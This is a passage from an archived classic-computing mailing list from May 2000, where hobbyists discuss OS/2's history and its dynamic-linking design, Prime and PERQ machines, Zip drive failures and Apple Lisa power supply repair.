packaged release > with the fixpacks in and new TCP/IP software which will be available > before the end of the year. Following that SUPPORT ENDS. Period. > > > > just because the customers want to buy something other than whatever new > > > toy the IBM management is excited about this week. So it will probably > > > keep getting *some* support as long as the customers are willing to pay > > > for it. > > > > > > John Wilson > > > D Bit > > > > there will be an OS2 version update later this year (4.5?) which will offer > > usb support amongst other things. recently fixpak 13 was announced. of > > course, downloading it all and installing it is a major task in itself. > > Yup... and that's the end of it for OS/2 as far as IBM's concerned. > They're pushing migration to either Linux, AIX (RS6000) or a Microsoft Platform. > > > > > DB Young ICQ: 29427634 > > > > hurry, hurry, step right up! see the computers you used as a kid! > > http://members.aol.com/suprdave/classiccmp/museum.htm > > Bill > > (a big OS/2 v3/4 fan who pushed for the OS/2 V5 Client which was killed) > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? From xds_sigma7 at hotmail.com Fri May 26 12:32:07 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:04 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] Message-ID: <20000526173207.71010.qmail@hotmail.com> Heh, I've been considering turning this 8650 hulk I know of into a VAXshelf... It'd be a great bookshelf for my gray wall ;p FYI, before the flames start, the cpu boards are 1) not in the machine, and 2) broken. I know this cuz I dug them out of a nasty container of junk at the scrap yard :( But at least the 8650 wouldn't take much juice to run, at least not compared to my 4381... Takes much less sans power supplies though! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From cisin at xenosoft.com Fri May 26 12:41:45 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net> Message-ID: Don't forget that OS/2 was written by Gordon Letwin AT MICROSOFT! You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft Press. -- Grumpy Ol' Fred cisin@xenosoft.com From marvin at rain.org Fri May 26 12:51:56 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 References: Message-ID: <392EB9BC.A0C23734@rain.org> "Fred Cisin (XenoSoft)" wrote: > > Don't forget that OS/2 was written by Gordon Letwin > AT MICROSOFT! > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > Press. I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft when he was originally working on OS/2. From dhquebbeman at theestopinalgroup.com Fri May 26 12:57:31 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. I'm glad you posted this. I'm effecting a rescue of a Prime 2455 system, which I should receive in a week. As it stands, I think this already may be parts of different systems, but I'll do as you suggest, and make note of what was installed on it when I first fire it up. Any other Pr1me fans hanging out here??? -doug q From xds_sigma7 at hotmail.com Fri May 26 13:04:45 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 Message-ID: <20000526180445.71433.qmail@hotmail.com> Irregardless, IBM paid Microsoft to develop OS/2... there's even a real MS-branded OS/2, but they sold it for less than a year, so its a bit less than common... amusingly, LAN Manager REQUIRES OS/2 to run, and MS kept selling LAN Manager for a good amount of time after they canned OS/2... Almost everyone under the sun had their own little branded LAN Manager version once, such as 3Com, DEC, IBM, etc. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From chris at mainecoon.com Fri May 26 13:19:29 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used References: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> Message-ID: <392EC031.2C12C0D1@mainecoon.com> Douglas Quebbeman wrote: > Any other Pr1me fans hanging out here??? Yep. I'm the proud keeper of a 2550 with assorted spares, media and boxloads of manuals. I purchased this machine from John, who in turn had purchased it from the original owner, who in turn has been helpful in bringing it back to life. The plan remains to make this thing available on the Net via the xyplex I've got sitting here, but I need to re-rack it first -- it's original rack was lost somewhere along the way and it's present rack doesn't provide adequate airflow :-( -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From bwit at pobox.com Fri May 26 13:37:30 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: References: <392EB47C.5D0790AF@cheta.net> Message-ID: <3.0.6.32.20000526133730.008ed100@ruffboy.com> At 10:41 AM 5/26/00 -0700, you wrote: >Don't forget that OS/2 was written by Gordon Letwin >AT MICROSOFT! > > >You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft >Press. > I had always thought this was a really good read. I still have a couple of copies laying around somewhere. Long ago while working a bug in HPFS I got to work with Gordon over the phone. Sometimes I really miss the old days. I'll have to go home and dig out my "Microsoft OS/2" coffee mug :-) Bob From bwit at pobox.com Fri May 26 13:44:27 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <392EB9BC.A0C23734@rain.org> References: Message-ID: <3.0.6.32.20000526134427.008f7bd0@ruffboy.com> At 10:51 AM 5/26/00 -0700, you wrote: > > >"Fred Cisin (XenoSoft)" wrote: >> >> Don't forget that OS/2 was written by Gordon Letwin >> AT MICROSOFT! >> >> You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft >> Press. > >I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft >when he was originally working on OS/2. > > No, Gordon has been at Microsoft since long before OS/2. I think he came from Heath in the very early days when BASIC was pretty much the only product Microsoft had. The original OS/2 1.0 (character mode only) was a partnership of IBM and Microsoft although nearly all the 1.0 code was done by MS. The 1.1 release which included PM (developed at IBM's Hursley labs) was the first major contribution by IBM that I'm aware of. Microsoft released the first OS/2 SDK's available in late 1988 (mine cost $3000!) and held several developer's conferences in 88 and 89. They continued to ship OS/2 under their label through verion 1.2. 1.3 was the forst release that was available solely from IBM. Regards, Bob From cisin at xenosoft.com Fri May 26 13:45:18 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <392EB9BC.A0C23734@rain.org> Message-ID: > > Don't forget that OS/2 was written by Gordon Letwin > > AT MICROSOFT! > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > Press. On Fri, 26 May 2000, Marvin wrote: > I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft > when he was originally working on OS/2. Gordon Letwin was at MICROS~1 when he wrote OS/2. Gordon Letwin was one of the first employees of MICROS~1. He is in the oft shown group photo ("MS-DOS Encyclopedia", etc.) of the Microsoft staff in Albuquerque, with Bill Gates, Paul Allen, Gordon Letwin, Bob Wallace, and I can't remembner who else. I don't know if he is at MICROS~1 NOW. and I can not IMAGINE him at IBM! -- Grumpy Ol' Fred cisin@xenosoft.com From pechter at pechter.dyndns.org Fri May 26 13:51:43 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net> from Technoid Mutant at "May 26, 2000 01:29:32 pm" Message-ID: <200005261851.OAA47123@bg-tc-ppp997.monmouth.com> > Now, after nine years of FUD, lies, and the ignorance that > fostered, some client's now have a legitimate reason to run Windows. Yes, I'm > pissed about it. I may be forced to run something incomplete and messy (Linux) or > something half-assed (Windows) but I don't have to like it. Every time I show a > warp system to a customer or friend they allways say something kin to 'how the hell > did this stay a secret?!' and 'why is anyone running windows'!!. > > Why did this happen -- because MS controls the desktop apps in 90% off the corporations. I wonder if IBM dropped Lotus Smartsuite internally yet. My old group in IBM Global Services was on Win95/Office95 because the client used it. Bet it's gonna be an MS world until they get forced to change. Bill From dhquebbeman at theestopinalgroup.com Fri May 26 13:56:25 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff.com> > Don't forget that OS/2 was written by Gordon Letwin > AT MICROSOFT! > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > Press. While I agree OS/2 is a better operating system than Windows, this book depressed me due to Gordon's wrongheaded-belief that a GPF should always be considered an indicator of a programming problem. Since Intel didn't give us a pointer fault, the GPF is the only proper way to implement dynamic linking. As they shipped, OS/2 from version 1.0 to 1.2 never did properly implement dynamic linking; and Windows inherits the wrong way from OS/2. Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) wrote an article that appeared in a magazine that described OS/2's dynamic linking as operating the way it should. The key difference is this: in real dynamic linking, CALL instructions that are supposed to invoke procedures in a DLL are constructed in the executable image such that when the processor executes the CALL, it causes a GPF [pointer fault]; then the GPF handler looks at the faulting instruction. If the pointer is a faulted pointer to a routine in a DLL, then snap the link [map the DLL into memory and then modify the faulting instruction to point to the entry point of the routine as described in the DLL's export table], and restart the instruction. Otherwise, it's a bug and you signal a condition which somehere generates an error message. In this scenario, programs start up much faster because the OS is not reading and linking every routine in the executable's import table. If you never use feature in the program, and if feature resides tottally in a separate DLL, then that DLL never gets mapped into RAM. MUCH, MUCH better execution, more robust operation, in particular, the machine wouldn't thrash at startup dur to all those programs in your startup folder. Due to Ed's article, I always assumed that there was a turf was between IBM and Microsoft on this and other salient technical points. MS won and was wrong. So, having said that, you might see why I'm not a big fan of Letwin's. Shew! Glad I got _that_ off my chest again. respectfully submitted, -doug quebbeman From dhquebbeman at theestopinalgroup.com Fri May 26 14:22:46 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD5B@tegntserver.tegjeff.com> > > Any other Pr1me fans hanging out here??? > > Yep. I'm the proud keeper of a 2550 with assorted spares, > media and boxloads of manuals. I purchased this machine > from John, who in turn had purchased it from the original > owner, who in turn has been helpful in bringing it back > to life. > > The plan remains to make this thing available on the Net > via the xyplex I've got sitting here, but I need to re-rack > it first -- it's original rack was lost somewhere along the > way and it's present rack doesn't provide adequate > airflow :-( Yeah, you're the guy I was thinking of when I was talking to someone else (I asked him if he was the guy from Maine, but he's down in Tennessee). I'm working on some sources for spares; but I'm not even sure what I'll find in the machine. The owner had a stroke around Christmas, and some things are returning more slowly than others. But I'll definitely be needed either a 7110 or 7210 SCSI controller and an LHC300 ethernet controller. So, what's a Xyplex? -doug q From healyzh at aracnet.com Fri May 26 14:29:19 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used In-Reply-To: <000e01bfc736$06bd64a0$fb721fd1@default> References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: >possible. I use a zip drive to store all this information on so that I >do fill up my main system's hard drive. >John Keys NEVER trust a Zip drive with important info, I hope you've got a backup of the data on other media. Yes, this is the voice of experience speaking. Thankfully it wasn't that important of data in my case. If anyone wants to know what I'm talking about research the 'Click of Death'. My PowerMac G4/450 came with a Zip Drive, I've never bothered sticking any of the many disks I've got in it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Fri May 26 15:00:57 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used In-Reply-To: References: <000e01bfc736$06bd64a0$fb721fd1@default> <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <4.3.1.2.20000526130025.02a3a7d0@208.226.86.10> At 12:29 PM 5/26/00 -0700, you wrote: >NEVER trust a Zip drive with important info, I hope you've got a backup of >the data on other media. Yes, this is the voice of experience speaking. >Thankfully it wasn't that important of data in my case. The "Click of Death" kills the drive but I've not heard that it actually killed the media. References? --Chuck From mikeford at socal.rr.com Fri May 26 13:32:45 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used In-Reply-To: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: >When people receive complete systems (with software, manuals, etc.) do you >make any attempt to document the state of the system when you received it? >For example, do you record what programs were on the hard drive, what >peripherals were included, what the system was used for (either what you >were told, or could infer), etc? I dump the drive contents to a network server and periodically burn a CDR. Too often in an older system the priceless element is the software. I have a pair of IIci macs with MARS compression cards in them, that I have left intact so I can later figure out what they do. I have MANY more cards etc. though that I have little hope of ever making work again (DOME imaging systems etc.). From stevemas at persys.com Fri May 26 15:14:10 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.1.2.20000526161020.00ce0460@persys.com> Close, but not quite correct. GPF is a general protection fault, the most common problem is a bad or uninitialized pointer. What makes a DLL get loaded, or paged in, is a page fault. Its the same mechanism that causes a swapped out page to be swapped back in on a 4K boundary. At 02:56 PM 5/26/00 -0400, you wrote: > > Don't forget that OS/2 was written by Gordon Letwin > > AT MICROSOFT! > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > Press. > >While I agree OS/2 is a better operating system than Windows, this >book depressed me due to Gordon's wrongheaded-belief that a GPF >should always be considered an indicator of a programming problem. > >Since Intel didn't give us a pointer fault, the GPF is the only >proper way to implement dynamic linking. As they shipped, OS/2 >from version 1.0 to 1.2 never did properly implement dynamic linking; >and Windows inherits the wrong way from OS/2. > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) >wrote an article that appeared in a magazine that described OS/2's >dynamic linking as operating the way it should. > >The key difference is this: in real dynamic linking, CALL instructions >that are supposed to invoke procedures in a DLL are constructed in the >executable image such that when the processor executes the CALL, it >causes a GPF [pointer fault]; then the GPF handler looks at the faulting >instruction. If the pointer is a faulted pointer to a routine in a DLL, >then snap the link [map the DLL into memory and then modify the faulting >instruction to point to the entry point of the routine as described in >the DLL's export table], and restart the instruction. Otherwise, it's a bug >and you signal a condition which somehere generates an error message. >In this scenario, programs start up much faster because the OS is not >reading and linking every routine in the executable's import table. If >you never use feature in the program, and if feature resides >tottally in a separate DLL, then that DLL never gets mapped into RAM. >MUCH, MUCH better execution, more robust operation, in particular, the >machine wouldn't thrash at startup dur to all those programs in your >startup folder. > >Due to Ed's article, I always assumed that there was a turf was between >IBM and Microsoft on this and other salient technical points. MS won >and was wrong. > >So, having said that, you might see why I'm not a big fan of Letwin's. > >Shew! Glad I got _that_ off my chest again. > >respectfully submitted, >-doug quebbeman - Steve Mastrianni From ard at p850ug1.demon.co.uk Fri May 26 13:17:06 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> from "Joe" at May 25, 0 10:44:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3251 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/e3aac2e4/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:20:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000525225037.355f6a14@mailhost.intellistar.net> from "Joe" at May 25, 0 10:50:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1390 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/56eecb7f/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:01:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Items for trade In-Reply-To: from "R. D. Davis" at May 25, 0 10:27:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1038 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/4e56a3d6/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:06:53 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: In-Reply-To: from "R. D. Davis" at May 25, 0 11:36:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 862 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/c19229df/attachment.ksh From rigdonj at intellistar.net Fri May 26 16:14:12 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:04 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <2921A6D846E9D31182490050040DC0D6682C3E@hoexc101.hotoffice. com> Message-ID: <3.0.1.16.20000526161412.502f27ee@mailhost.intellistar.net> At 09:26 AM 5/26/00 -0400, you wrote: >> FWIW I usually use an old disk drive. It's very handy since many >> computers already have a power connector that will plug >> directly onto the >> drive and it provides a load to both the +12 and +5 volt >> power supplies. >> > >Joe, > >Aren't you afraid of damaging the disk drive by doing that? Just kidding... >;-) That's why I only use DEC drives! Just kidding :-) Joe From ard at p850ug1.demon.co.uk Fri May 26 13:44:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Paper tape format In-Reply-To: from "allisonp@world.std.com" at May 26, 0 08:53:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 452 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/75b0787a/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:47:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <4.3.0.20000526082119.01fcb6b0@pc> from "John Foust" at May 26, 0 08:25:31 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 627 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/3f51f536/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 14:56:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Bootable Floppy from CD? In-Reply-To: from "Vintage Computer GAWD!" at May 26, 0 07:17:53 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2093 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/95e5fcd1/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 26 15:06:12 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: from "R. D. Davis" at May 26, 0 12:54:43 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1728 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/14914f69/attachment.ksh From rigdonj at intellistar.net Fri May 26 16:25:34 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:04 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <200005261714.e4QHEP125187@mail2.siemens.de> References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <3.0.1.16.20000526162534.502f9e0a@mailhost.intellistar.net> At 07:14 PM 5/26/00 +1, Hans wrote: >> > Lisas out there. Even with blown components, he could still have sold them >> > for hundreds "as-is" on eBay, where they would provide parts to revive > >> Yes, right... fry that system and then sell it on e-bay, that's ok, >> because it will still bring a high price, so who cares whether it >> works, right? Turn the monitors into fishbowls, remove core memory >> and sell it in a picture frame, because, who cares if these are used >> again since they can bring big bucks on e-bay. > >Well, is this now the right time to tell that I'm still >searching for a VT220 in _very_ good shape to turn it >into a fish tank ? How about a WT-78? I have one of them that's sitting around taking up room. Joe From foo at siconic.com Fri May 26 14:30:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:04 2005 Subject: Unix TERMCAP contains interesting historyical tidbits Message-ID: I was going through the Unix TERMCAP on this Linux box I'm setting up and noticed that it contains quite a few tidbits about classic computers in there. It actually has some useful info for research. There is even a section describing the dip switches on the Heathkit H19 terminal. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From steverob at hotoffice.com Fri May 26 15:46:25 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:04 2005 Subject: Prime Parts: was "Documenting how old computers..." Message-ID: <2921A6D846E9D31182490050040DC0D6682D2F@hoexc101.hotoffice.com> I've got a small Pr1me buried somewhere in my garage. I'm not prositive but, I *think* it's a 2550. It's a complete system but, it has a bad CPU. That being the case, I'll make any of the parts available for anyone that's looking to resurrect one. Let me know exactly what parts you need and I'll see if I have them. I'm really not too familiar with that hardware so, you'll have be *real* specific about the parts you need. I also have a bunch of Pr1me DOCs (many still in the shrink wrap) if someone needs them. I'd like to get a token fee for the parts and of course you'd have to pay shipping from South Florida. Later, Steve Robertson > -----Original Message----- > From: Douglas Quebbeman [mailto:dhquebbeman@theestopinalgroup.com] > Sent: Friday, May 26, 2000 3:23 PM > To: 'classiccmp@classiccmp.org' > Subject: RE: Documenting how old computers were used > > > I'm working on some sources for spares; but I'm not even sure > what I'll find in the machine. The owner had a stroke around > Christmas, and some things are returning more slowly than others. > > But I'll definitely be needed either a 7110 or 7210 SCSI controller > and an LHC300 ethernet controller. > > So, what's a Xyplex? > > -doug q > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/69152bc5/attachment.html From technoid at cheta.net Fri May 26 15:55:05 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:52:04 2005 Subject: CT Miniframe References: Message-ID: <392EE4A8.CB9D260@cheta.net> Contact Tom Worley (STKGURU@NETSIDE.NET). He ran CT mainframes from 1978 to 1983 for the Coast Guard. He might be able to help you. Regards Jeff "R. D. Davis" wrote: > Greetings, > > Are there still users on this list who've used a CT Miniframe running > CTIX and have experience installing the OS from tapes? > > -- > R. D. Davis > rdd@perqlogic.com > http://www.perqlogic.com/rdd > 410-744-4900 From jlewczyk at his.com Fri May 26 16:35:55 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:52:04 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: Message-ID: <000301bfc75a$5fd3bfc0$013da8c0@Corellian> > > overlooked (or just ignored) that fact that the problem with this supply is > > that it never turns on and not that it turns on and is overloaded. The > > NUMEROUS other Lisas that I know of that have "bad' power supplies have the > > same symptoms and I have to wonder if it really is a power supply problem The Lisa power supply has a signal line called "ON" which is supplied by the IO board, and which apparently turns on the power supply's main outputs. The PS has a "+5V standby" voltage which is always on (as long as the unit is plugged in), and the integral safety interlock switch is pressed in. The PS safety interlock switch is located in a rear corner of the power supply unit and it is pressed in by the rear cover when installed). Also, the PS "ON" signal is passed through a second safety interlock switch, which, when the front panel is installed, closes, allowing the "ON" signal to pass from the IO board to the PS. There are only 2 interlock switches on the Lisa. I found them easily overridden to work on the unit with the covers off. The Lisa's "soft power switch" shorts to ground a signal that goes to the "IO board". The circuity on the "IO board" senses this, and then asserts the "ON" line of the Power Supply (using a COPS 421 Microcontroller unit, which also controls the keyboard and mouse). This setup gives the Lisa control over its own power. I've heard that the Lisa could be programmed to turn itself on at an appointed time! In addition, the Lisa won't shut down until the O/S thinks its OK to do so (i.e. the hard drive has been properly updated). I've learned these things because I'm also in the process of repairing a Lisa whose power supply won't turn on. I've yet to test the power supply out of the the box with test loads to verify the operation of the supply. When I've figure out the rest of the power supply scheme, I'll post what else I've learned to the group. John From rdd at smart.net Fri May 26 16:33:11 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:04 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: Message-ID: On Fri, 26 May 2000, Tony Duell wrote: > [1] Actually, the PERQ 3a (aka AGW3300) was a 68020-based unix box. All > other PERQs had the soft-microcoded CPU. However, what I did was the easy part. > > Had it not been for some hackers in the U.K., one very highly skilled > > hardware hacker in particular - who may be reading this list and will > > probably comment on this message :-), much of the information needed > > Who the heck was that? It's about the time I got my first PERQ (a 2T1), > but I hardly fit the rest of the description. Unless 'very highly > skilled' == 'termninally clueless'. Ok, do you want to get into a flame-fest over this? I was referring you you. DOn't tell me that you're beginning to believe the bizdroid definition of highly skilled which is "terminally clueless," and the corresponding bizdroid equation where: (terminally clueless) * n = ((highly * n) unskilled) * cq) where cq is the conformity quotient -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From doug at blinkenlights.com Fri May 26 16:36:39 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: Eh? You're both wrong. OS/2 used the protected-mode multi-segment support of the x86, but recall that OS/2 was originally released on the 286 -- it didn't have any paging support. It's easy to distinguish a fault during a CS load from a GPF, and no page fault is involved. Cheers, Doug On Fri, 26 May 2000, Steve Mastrianni wrote: > Close, but not quite correct. > > GPF is a general protection fault, the most common problem is a bad or > uninitialized pointer. > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > mechanism that causes a swapped out page to be swapped back in on a 4K > boundary. > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > Don't forget that OS/2 was written by Gordon Letwin > > > AT MICROSOFT! > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > Press. > > > >While I agree OS/2 is a better operating system than Windows, this > >book depressed me due to Gordon's wrongheaded-belief that a GPF > >should always be considered an indicator of a programming problem. > > > >Since Intel didn't give us a pointer fault, the GPF is the only > >proper way to implement dynamic linking. As they shipped, OS/2 > >from version 1.0 to 1.2 never did properly implement dynamic linking; > >and Windows inherits the wrong way from OS/2. > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > >wrote an article that appeared in a magazine that described OS/2's > >dynamic linking as operating the way it should. > > > >The key difference is this: in real dynamic linking, CALL instructions > >that are supposed to invoke procedures in a DLL are constructed in the > >executable image such that when the processor executes the CALL, it > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > >then snap the link [map the DLL into memory and then modify the faulting > >instruction to point to the entry point of the routine as described in > >the DLL's export table], and restart the instruction. Otherwise, it's a bug > >and you signal a condition which somehere generates an error message. > >In this scenario, programs start up much faster because the OS is not > >reading and linking every routine in the executable's import table. If > >you never use feature in the program, and if feature resides > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > >MUCH, MUCH better execution, more robust operation, in particular, the > >machine wouldn't thrash at startup dur to all those programs in your > >startup folder. > > > >Due to Ed's article, I always assumed that there was a turf was between > >IBM and Microsoft on this and other salient technical points. MS won > >and was wrong. > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > >Shew! Glad I got _that_ off my chest again. > > > >respectfully submitted, > >-doug quebbeman > > > - Steve Mastrianni > From stevemas at persys.com Fri May 26 18:21:53 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: References: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: <4.3.1.2.20000526191756.05e2ad70@persys.com> Eh, no. The paging was totally rewritten for OS/2 2+. OS/2 must assuredly used 4K pages (and still does). OS/2 for the 286 was version 1.x. I worked on the memory manager. At 05:36 PM 5/26/00 -0400, you wrote: >Eh? You're both wrong. OS/2 used the protected-mode multi-segment >support of the x86, but recall that OS/2 was originally released on the >286 -- it didn't have any paging support. It's easy to distinguish a >fault during a CS load from a GPF, and no page fault is involved. > >Cheers, >Doug > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is a bad or > > uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > mechanism that causes a swapped out page to be swapped back in on a 4K > > boundary. > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > AT MICROSOFT! > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > Press. > > > > > >While I agree OS/2 is a better operating system than Windows, this > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > >should always be considered an indicator of a programming problem. > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > >proper way to implement dynamic linking. As they shipped, OS/2 > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > >and Windows inherits the wrong way from OS/2. > > > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > > >wrote an article that appeared in a magazine that described OS/2's > > >dynamic linking as operating the way it should. > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > >that are supposed to invoke procedures in a DLL are constructed in 